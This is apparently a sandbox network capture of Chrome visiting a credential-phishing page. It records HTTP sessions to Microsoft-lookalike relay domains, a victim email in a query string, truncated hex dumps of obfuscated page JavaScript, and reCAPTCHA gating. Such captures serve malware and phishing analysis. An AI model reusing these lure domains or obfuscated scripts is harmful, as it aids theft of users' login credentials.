2025-01-15 09:06:37 UTC	822	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 49 00 00 00 48 08 02 00 00 00 35 4d 4f 2e 00 00 02 fd 49 44 41 54 78 9c ec 9b b1 6f 1c 45 14 c6 bf f7 66 f6 7c 6b 87 80 22 87 14 11 88 02 09 21 51 50 a6 a2 40 74 34 34 f4 e4 df a0 a7 e5 4f 80 86 8a 32 15 2d 0d 12 12 25 12 14 14 88 0e 1c 91 20 fb 6c ef ee cc fb d0 ec 7a ed 4b 28 99 91 32 d1 fc b4 3a 79 5c cc db df bc b9 39 6b 3f 9f 27 89 dd a9 5d 9e 43 05 10 e4 46 04 8c 26 fd a1 1c be 02 80 b4 dd f4 d8 2c 8a e4 af b5 c2 be bb e3 f5 c0 03 b8 fc fa 0b f7 e3 77 83 db c0 62 fe 42 ce 1f 84 31 7e f8 e9 f6 e1 e7 00 76 e3 c9 57 3f 7d 70 11 1e 2b 3c 69 b9 8b 89 88 98 8c 9f bc fb cd 3b 77 3f 4e 6e 3c fb a7 1b ce 86 c9 5c 81 b5 0c 64 d7 b9 b0 3b 5d 86 84 9d 8f 7f 05 7d 1a 03 b2 57 23 d3 6b b7 45 e4 00 20 b9 41 Data Ascii: PNGIHDRIH5MO.IDATxoEf\|k"!QP@t44O2-% lzK(2:y\9k?']CF&,wbB1~vW?}p+<i;w?Nn<\d;]}W#kE A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49759	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:45 UTC	803	OUT	GET /?vu=5C&username=bdf29f%40eutg.co HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:46 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:06:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2025-01-15 09:06:46 UTC	16203	IN	Data Raw: 37 37 66 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 2c 51 29 7b 76 61 72 20 44 56 3d 61 30 67 35 2c 4c 3d 67 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 44 3d 2d 70 61 72 73 65 49 6e 74 28 44 56 28 30 78 32 63 31 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 44 56 28 30 78 33 64 36 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 44 56 28 30 78 33 38 64 29 29 2f 30 78 33 2b 2d 70 61 72 73 65 49 6e 74 28 44 56 28 30 78 32 31 36 29 29 2f 30 78 34 2b 70 61 72 73 65 49 6e 74 28 44 56 28 30 78 32 Data Ascii: 77f5<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> (function(g,Q){var DV=a0g5,L=g();while(!![]){try{var D=-parseInt(DV(0x2c1))/0x1*(parseInt(DV(0x3d6))/0x2)+-parseInt(DV(0x38d))/0x3+-parseInt(DV(0x216))/0x4+parseInt(DV(0x2
2025-01-15 09:06:46 UTC	14514	IN	Data Raw: 75 72 6e 20 45 71 28 30 78 31 62 30 29 3d 3d 3d 4c 4b 26 26 28 28 4c 56 3d 7b 7d 29 5b 45 71 28 30 78 33 65 63 29 5d 3d 7b 7d 2c 4c 56 5b 45 71 28 30 78 33 65 63 29 5d 5b 4c 64 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 45 73 3d 45 71 3b 72 65 74 75 72 6e 20 45 73 28 30 78 32 38 39 29 21 3d 3d 45 73 28 30 78 32 38 39 29 3f 21 21 67 55 28 29 3a 4c 56 3b 7d 2c 4c 56 5b 27 66 6c 61 67 73 27 5d 3d 27 27 2c 4c 56 5b 4c 53 5d 3d 2f 2e 2f 5b 4c 53 5d 29 2c 4c 56 5b 27 65 78 65 63 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 45 42 3d 45 71 3b 69 66 28 45 42 28 30 78 34 36 38 29 21 3d 3d 45 42 28 30 78 31 32 35 29 29 72 65 74 75 72 6e 20 4c 54 3d 21 30 78 30 2c 6e 75 6c 6c 3b 65 6c 73 65 7b 76 61 72 20 4c 7a 3d 4c 7a 28 30 78 31 35 63 61 29 2c 4c Data Ascii: urn Eq(0x1b0)===LK&&((LV={})[Eq(0x3ec)]={},LV[Eq(0x3ec)][Ld]=function(){var Es=Eq;return Es(0x289)!==Es(0x289)?!!gU():LV;},LV['flags']='',LV[LS]=/./[LS]),LV['exec']=function(){var EB=Eq;if(EB(0x468)!==EB(0x125))return LT=!0x0,null;else{var Lz=Lz(0x15ca),L
2025-01-15 09:06:46 UTC	16384	IN	Data Raw: 63 30 30 30 0d 0a 3d 3d 57 30 28 30 78 32 37 39 29 29 7b 76 61 72 20 4c 68 3d 4c 61 5b 57 30 28 30 78 34 39 61 29 5d 28 29 3b 67 6f 28 67 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 57 31 3d 57 30 3b 66 6f 72 28 76 61 72 20 4c 4b 3d 5b 5d 2c 4c 76 3d 30 78 30 3b 4c 76 3c 61 72 67 75 6d 65 6e 74 73 5b 27 6c 65 6e 67 74 68 27 5d 3b 4c 76 2b 2b 29 4c 4b 5b 4c 76 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 4c 76 5d 3b 76 61 72 20 4c 65 3d 4c 65 2b 67 43 5b 57 31 28 30 78 34 39 61 29 5d 28 29 2d 4c 68 3b 69 66 28 21 4c 4b 5b 30 78 30 5d 29 72 65 74 75 72 6e 20 67 6b 28 7b 27 65 72 72 6f 72 27 3a 4c 4b 5b 30 78 31 5d 2c 27 64 75 72 61 74 69 6f 6e 27 3a 4c 65 7d 29 3b 67 62 28 7b 27 76 61 6c 75 65 27 3a 4c 4b 5b 30 78 31 5d 2c 27 64 75 72 61 74 69 6f 6e 27 3a 4c Data Ascii: c000==W0(0x279)){var Lh=La[W0(0x49a)]();go(gs,function(){var W1=W0;for(var LK=[],Lv=0x0;Lv<arguments['length'];Lv++)LK[Lv]=arguments[Lv];var Le=Le+gC[W1(0x49a)]()-Lh;if(!LK[0x0])return gk({'error':LK[0x1],'duration':Le});gb({'value':LK[0x1],'duration':L
2025-01-15 09:06:46 UTC	16384	IN	Data Raw: 36 64 29 5d 3d 4c 5a 3d 4c 4b 28 6e 75 6c 6c 29 2c 4c 6a 3d 30 78 30 3b 4c 6a 3c 4c 79 5b 72 4c 28 30 78 65 35 29 5d 3b 4c 6a 2b 2b 29 4c 5a 5b 28 4c 66 3d 4c 79 5b 4c 6a 5d 29 5b 30 78 30 5d 5d 3d 4c 62 5b 4c 66 5b 30 78 31 5d 5d 3b 7d 72 65 74 75 72 6e 20 4c 62 3b 7d 29 2c 4c 59 5b 72 51 28 30 78 34 63 64 29 5d 3d 4c 4a 3b 7d 7d 2c 30 78 31 39 66 64 3a 66 75 6e 63 74 69 6f 6e 28 4c 59 2c 4c 77 2c 4c 6d 29 7b 76 61 72 20 72 45 3d 61 30 67 35 2c 4c 61 3d 4c 6d 28 30 78 38 66 35 29 3b 4c 59 5b 72 45 28 30 78 34 63 64 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 4d 3d 72 45 2c 4c 63 3d 4c 61 28 74 68 69 73 29 2c 4c 69 3d 27 27 3b 72 65 74 75 72 6e 20 4c 63 5b 27 68 61 73 49 6e 64 69 63 65 73 27 5d 26 26 28 4c 69 2b 3d 27 64 27 29 2c 4c 63 5b 72 Data Ascii: 6d)]=LZ=LK(null),Lj=0x0;Lj<Ly[rL(0xe5)];Lj++)LZ[(Lf=Ly[Lj])[0x0]]=Lb[Lf[0x1]];}return Lb;}),LY[rQ(0x4cd)]=LJ;}},0x19fd:function(LY,Lw,Lm){var rE=a0g5,La=Lm(0x8f5);LY[rE(0x4cd)]=function(){var rM=rE,Lc=La(this),Li='';return Lc['hasIndices']&&(Li+='d'),Lc[r
2025-01-15 09:06:46 UTC	16384	IN	Data Raw: 69 6f 6e 28 4c 46 29 7b 76 61 72 20 47 56 3d 47 78 2c 4c 58 3d 4c 69 28 74 68 69 73 29 2c 4c 64 3d 4c 49 28 4c 58 2c 47 56 28 30 78 32 64 65 29 29 3b 72 65 74 75 72 6e 27 6e 75 6d 62 65 72 27 21 3d 74 79 70 65 6f 66 20 4c 64 7c 7c 69 73 46 69 6e 69 74 65 28 4c 64 29 3f 4c 58 5b 47 56 28 30 78 34 62 37 29 5d 28 29 3a 6e 75 6c 6c 3b 7d 7d 29 3b 7d 65 6c 73 65 7b 74 72 79 7b 4c 77 5b 27 75 6e 73 61 66 65 27 5d 3f 67 4b 5b 67 66 5d 26 26 28 4c 63 3d 21 30 78 30 29 3a 64 65 6c 65 74 65 20 67 7a 5b 67 64 5d 3b 7d 63 61 74 63 68 28 4c 58 29 7b 7d 67 72 3f 4c 6d 5b 67 75 5d 3d 67 46 3a 67 4c 5b 27 66 27 5d 28 67 6a 2c 67 49 2c 7b 27 76 61 6c 75 65 27 3a 67 4d 2c 27 65 6e 75 6d 65 72 61 62 6c 65 27 3a 21 30 78 31 2c 27 63 6f 6e 66 69 67 75 72 61 62 6c 65 27 3a 21 Data Ascii: ion(LF){var GV=Gx,LX=Li(this),Ld=LI(LX,GV(0x2de));return'number'!=typeof Ld\|\|isFinite(Ld)?LX[GV(0x4b7)]():null;}});}else{try{Lw['unsafe']?gK[gf]&&(Lc=!0x0):delete gz[gd];}catch(LX){}gr?Lm[gu]=gF:gL['f'](gj,gI,{'value':gM,'enumerable':!0x1,'configurable':!
2025-01-15 09:06:46 UTC	8	IN	Data Raw: 3d 4c 6d 28 30 78 0d 0a Data Ascii: =Lm(0x
2025-01-15 09:06:46 UTC	16384	IN	Data Raw: 62 66 66 38 0d 0a 31 64 62 62 29 2c 4c 71 3d 4c 6d 28 30 78 31 65 65 61 29 2c 4c 73 3d 4c 6d 28 30 78 66 31 38 29 2c 4c 42 3d 4c 6d 28 30 78 31 63 35 37 29 2c 4c 62 3d 4c 6d 28 30 78 31 35 32 31 29 2c 4c 6a 3d 4c 6d 28 30 78 35 65 33 29 2c 4c 5a 3d 4c 6d 28 30 78 37 34 61 29 2c 4c 66 3d 4c 6d 28 30 78 31 29 2c 4c 70 3d 4c 6d 28 30 78 31 34 66 64 29 2c 4c 55 3d 4c 6d 28 30 78 31 65 61 39 29 2c 4c 48 3d 4c 6d 28 30 78 32 30 30 30 29 2c 4c 52 3d 4c 6d 28 30 78 38 65 35 29 2c 4c 79 3d 4c 6d 28 30 78 31 31 38 33 29 2c 4c 41 3d 4c 6d 28 30 78 62 33 33 29 5b 59 65 28 30 78 33 64 64 29 5d 2c 4c 50 3d 4c 62 28 27 68 69 64 64 65 6e 27 29 2c 44 30 3d 59 65 28 30 78 33 34 66 29 2c 44 31 3d 59 65 28 30 78 31 34 38 29 2c 44 32 3d 4c 79 5b 59 65 28 30 78 33 33 31 29 5d Data Ascii: bff81dbb),Lq=Lm(0x1eea),Ls=Lm(0xf18),LB=Lm(0x1c57),Lb=Lm(0x1521),Lj=Lm(0x5e3),LZ=Lm(0x74a),Lf=Lm(0x1),Lp=Lm(0x14fd),LU=Lm(0x1ea9),LH=Lm(0x2000),LR=Lm(0x8e5),Ly=Lm(0x1183),LA=Lm(0xb33)[Ye(0x3dd)],LP=Lb('hidden'),D0=Ye(0x34f),D1=Ye(0x148),D2=Ly[Ye(0x331)]
2025-01-15 09:06:46 UTC	16384	IN	Data Raw: 5d 25 30 78 31 30 2c 4c 49 3d 4c 63 5b 30 78 31 5d 2d 4c 69 2c 4c 46 3d 5b 30 78 30 2c 4c 77 5d 2c 4c 58 3d 5b 30 78 30 2c 4c 77 5d 2c 4c 64 3d 5b 30 78 30 2c 30 78 30 5d 2c 4c 68 3d 5b 30 78 30 2c 30 78 30 5d 3b 66 6f 72 28 4c 61 3d 30 78 30 3b 4c 61 3c 4c 49 3b 4c 61 2b 3d 30 78 31 30 29 4c 64 5b 30 78 30 5d 3d 4c 6d 5b 4c 61 2b 30 78 34 5d 7c 4c 6d 5b 4c 61 2b 30 78 35 5d 3c 3c 30 78 38 7c 4c 6d 5b 4c 61 2b 30 78 36 5d 3c 3c 30 78 31 30 7c 4c 6d 5b 4c 61 2b 30 78 37 5d 3c 3c 30 78 31 38 2c 4c 64 5b 30 78 31 5d 3d 4c 6d 5b 4c 61 5d 7c 4c 6d 5b 4c 61 2b 30 78 31 5d 3c 3c 30 78 38 7c 4c 6d 5b 4c 61 2b 30 78 32 5d 3c 3c 30 78 31 30 7c 4c 6d 5b 4c 61 2b 30 78 33 5d 3c 3c 30 78 31 38 2c 4c 68 5b 30 78 30 5d 3d 4c 6d 5b 4c 61 2b 30 78 63 5d 7c 4c 6d 5b 4c 61 Data Ascii: ]%0x10,LI=Lc[0x1]-Li,LF=[0x0,Lw],LX=[0x0,Lw],Ld=[0x0,0x0],Lh=[0x0,0x0];for(La=0x0;La<LI;La+=0x10)Ld[0x0]=Lm[La+0x4]\|Lm[La+0x5]<<0x8\|Lm[La+0x6]<<0x10\|Lm[La+0x7]<<0x18,Ld[0x1]=Lm[La]\|Lm[La+0x1]<<0x8\|Lm[La+0x2]<<0x10\|Lm[La+0x3]<<0x18,Lh[0x0]=Lm[La+0xc]\|Lm[La
2025-01-15 09:06:46 UTC	16384	IN	Data Raw: 29 2c 27 2e 6b 61 64 72 27 2c 6d 44 28 30 78 62 39 29 2c 6d 44 28 30 78 31 30 36 29 2c 4c 58 28 6d 44 28 30 78 33 32 62 29 29 5d 2c 27 61 64 42 6c 6f 63 6b 57 61 72 6e 69 6e 67 52 65 6d 6f 76 61 6c 27 3a 5b 27 23 61 64 62 6c 6f 63 6b 2d 68 6f 6e 65 79 70 6f 74 27 2c 27 2e 61 64 62 6c 6f 63 6b 65 72 2d 72 6f 6f 74 27 2c 6d 44 28 30 78 33 64 32 29 2c 4c 58 28 27 27 29 2c 4c 58 28 6d 44 28 30 78 33 32 30 29 29 5d 2c 27 61 64 47 75 61 72 64 41 6e 6e 6f 79 61 6e 63 65 73 27 3a 5b 6d 44 28 30 78 33 65 30 29 2c 6d 44 28 30 78 31 39 31 29 2c 6d 44 28 30 78 33 37 34 29 2c 6d 44 28 30 78 31 36 36 29 2c 27 5b 64 61 74 61 2d 63 79 70 72 65 73 73 3d 5c 78 32 32 73 6f 66 74 2d 70 75 73 68 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 6d 6f 64 61 6c 5c 78 32 32 5d 27 5d 2c Data Ascii: ),'.kadr',mD(0xb9),mD(0x106),LX(mD(0x32b))],'adBlockWarningRemoval':['#adblock-honeypot','.adblocker-root',mD(0x3d2),LX(''),LX(mD(0x320))],'adGuardAnnoyances':[mD(0x3e0),mD(0x191),mD(0x374),mD(0x166),'[data-cypress=\x22soft-push-notification-modal\x22]'],
2025-01-15 09:06:46 UTC	16384	IN	Data Raw: 33 66 66 38 0d 0a 38 28 30 78 32 30 64 29 5d 7c 7c 51 39 2c 4c 49 3d 51 38 5b 61 38 28 30 78 31 38 32 29 5d 7c 7c 51 39 2c 4c 46 3d 51 38 5b 61 38 28 30 78 31 36 63 29 5d 7c 7c 51 39 2c 4c 58 3d 51 38 5b 61 38 28 30 78 32 35 30 29 5d 7c 7c 51 39 2c 4c 64 3d 51 38 5b 61 38 28 30 78 31 34 37 29 5d 7c 7c 51 39 2c 4c 68 3d 51 38 5b 61 38 28 30 78 31 31 35 29 5d 7c 7c 51 39 2c 4c 4b 3d 51 38 5b 61 38 28 30 78 34 64 36 29 5d 7c 7c 51 39 2c 4c 76 3d 51 38 5b 61 38 28 30 78 33 32 37 29 5d 7c 7c 51 39 2c 4c 65 3d 51 38 5b 61 38 28 30 78 33 36 38 29 5d 7c 7c 51 39 2c 4c 43 3d 51 38 5b 61 38 28 30 78 31 66 62 29 5d 7c 7c 51 39 2c 4c 53 3d 51 38 5b 61 38 28 30 78 32 32 39 29 5d 7c 7c 51 39 3b 72 65 74 75 72 6e 7b 27 61 63 6f 73 27 3a 4c 77 28 30 2e 31 32 33 31 32 34 Data Ascii: 3ff88(0x20d)]\|\|Q9,LI=Q8[a8(0x182)]\|\|Q9,LF=Q8[a8(0x16c)]\|\|Q9,LX=Q8[a8(0x250)]\|\|Q9,Ld=Q8[a8(0x147)]\|\|Q9,Lh=Q8[a8(0x115)]\|\|Q9,LK=Q8[a8(0x4d6)]\|\|Q9,Lv=Q8[a8(0x327)]\|\|Q9,Le=Q8[a8(0x368)]\|\|Q9,LC=Q8[a8(0x1fb)]\|\|Q9,LS=Q8[a8(0x229)]\|\|Q9;return{'acos':Lw(0.123124

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49760	142.250.185.228	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:47 UTC	658	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:47 UTC	749	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Wed, 15 Jan 2025 09:06:47 GMT Date: Wed, 15 Jan 2025 09:06:47 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:06:47 UTC	641	IN	Data Raw: 35 39 61 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 59a/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2025-01-15 09:06:47 UTC	800	IN	Data Raw: 41 41 43 51 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 64 76 62 32 64 73 5a 53 35 6a 62 32 30 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 7a 49 69 4c 43 4a 6c 65 48 42 70 63 6e 6b 69 4f 6a 45 33 4e 44 49 7a 4e 44 49 7a 4f 54 6b 73 49 6d 6c 7a 55 33 56 69 5a 47 39 74 59 57 6c 75 49 6a 70 30 63 6e 56 6c 4c 43 4a 70 63 31 52 6f 61 58 4a 6b 55 47 46 79 64 48 6b 69 4f 6e 52 79 64 57 56 39 27 3b 69 66 28 76 26 26 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 29 7b 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e Data Ascii: AACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.
2025-01-15 09:06:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49762	216.58.206.36	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:48 UTC	451	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:48 UTC	749	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Wed, 15 Jan 2025 09:06:48 GMT Date: Wed, 15 Jan 2025 09:06:48 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:06:48 UTC	641	IN	Data Raw: 35 39 61 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 59a/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2025-01-15 09:06:48 UTC	800	IN	Data Raw: 41 41 43 51 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 64 76 62 32 64 73 5a 53 35 6a 62 32 30 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 7a 49 69 4c 43 4a 6c 65 48 42 70 63 6e 6b 69 4f 6a 45 33 4e 44 49 7a 4e 44 49 7a 4f 54 6b 73 49 6d 6c 7a 55 33 56 69 5a 47 39 74 59 57 6c 75 49 6a 70 30 63 6e 56 6c 4c 43 4a 70 63 31 52 6f 61 58 4a 6b 55 47 46 79 64 48 6b 69 4f 6e 52 79 64 57 56 39 27 3b 69 66 28 76 26 26 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 29 7b 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e Data Ascii: AACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.
2025-01-15 09:06:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49764	142.250.185.228	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:49 UTC	1019	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB&co=aHR0cHM6Ly9vbmxpbmVhdXRoZW50aWNhdGlvbnJlbGF5c2VydmljZXMucm5hbnRlbmd1LmNvbTo0NDM.&hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&size=normal&cb=jb7dkno2oub8 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: 